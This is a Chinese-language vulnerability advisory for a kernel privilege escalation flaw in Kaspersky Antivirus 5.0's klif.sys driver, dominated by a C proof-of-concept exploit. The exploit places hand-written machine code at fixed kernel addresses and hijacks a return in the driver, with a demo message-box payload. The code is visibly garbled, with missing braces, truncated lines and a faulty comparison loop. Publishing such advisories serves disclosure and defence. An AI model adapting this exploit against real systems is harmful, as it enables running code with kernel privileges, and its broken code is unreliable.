天天看點

Kaspersky防毒軟體klif.sys權限提升漏洞

受影響系統:

Kaspersky Labs Kaspersky Antivirus 5.0.335

Kaspersky Labs Kaspersky Antivirus 5.0.228

Kaspersky Labs Kaspersky Antivirus 5.0.227

描述:

--------------------------------------------------------------------------------

Kaspersky是一款非常流行的防毒軟體。

起因是Kaspersky核心驅動klif.sys沒有正确丢棄高權限,攻擊者可能利用這個漏洞以系統核心的權限執行任意代碼。

*>

測試方法:

警 告

以下程式(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

//(C) by Ilya Rabinovich.

#include <windows.h>

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;

unsigned char code[]={0x68,0x00,0x02,0x00,0x00,    //push 0x200

                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address> - 0xBE938000

                    0x6A,0x00,                    //push 0  

                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<GetModuleFileNameA> -> +13

                    0xFF,0xD0,                    //call eax

                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address>

                    0x68,0x00,0x82,0x93,0xBE,    //push <address of the notepad path>- 0xBE938200

                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<lstrcmpiA> -> +30

                    0x85,0xC0,                    //test eax,eax

                    0x74,0x03,                    //je +03

                    0xC2,0x04,0x00,                //retn 4

                    0x6A,0x00,                    //push 0

                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400

                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<MessageBoxA> -> +58

                    0xC2,0x04,0x00                //retn 4

                    };

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt /

[0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){

//Get function's addresses

    HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");

    HANDLE hUser=GetModuleHandle("USER32.DLL");

    FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");

    FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

    FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

    *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;

    *(DWORD*)(code+30)=(DWORD)plstrcmpiA;

    *(DWORD*)(code+58)=(DWORD)pMessageBoxA;

//Prepare our data into ring0-zone.

    PCHAR pNotepadName=(PCHAR)0xBE938200;

    char temp_buffer[MAX_PATH];

    char *s;

    SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

    lstrcpy(pNotepadName,temp_buffer);

    PCHAR pMessage=(PCHAR)0xBE938400;

    lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

    memmove(pCodeBase,code,sizeof(code));

    *pJmpAddress=(DWORD)pCodeBase;

    memmove(pKAVRet,jmp_code,sizeof(jmp_code));

    return TRUE;

}

///////////////////////////////////////////////////////////////

void UnloadExploitFromKernelMemory(){

    UCHAR retn_4[]={0xC2,0x04,0x00};

    memmove(pKAVRet,retn_4,sizeof(retn_4));

/////////////////////////////////////////////////////////////////

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end

//Also, we check the KAV klif.sys existance.

    __try{

        for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

            if(memcmp(pKAVRets,retn_4,sizeof(retn_4))==0)

                return pKAVRets;

        }

    }__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not /

installed",NULL,0);return NULL;}

KAV",NULL,0);  return NULL;

void main(void){

    pKAVRet=GetKAVRetAddress();

    if(NULL==pKAVRet)

        return;

    if(!LoadExploitIntoKernelMemory())

    PROCESS_INFORMATION pi;

    STARTUPINFO si={0};

    si.cb=sizeof(si);

    CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,

                        0,NULL,NULL,&si,&pi);

    WaitForSingleObject(pi.hProcess,INFINITE);

    MessageBox(NULL,"Now you may start your own Notepad instance to check this /

exploit!","KAV_EXPLOITER",0);

    MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);

    UnloadExploitFromKernelMemory();

建議:

廠商更新檔:

Kaspersky Labs

--------------

目前廠商還沒有提供更新檔或者更新程式,我們建議使用此軟體的使用者随時關注廠商的首頁以擷取最新版本:

<a target="_blank" href="http://www.kaspersky.com/">http://www.kaspersky.com/</a>

繼續閱讀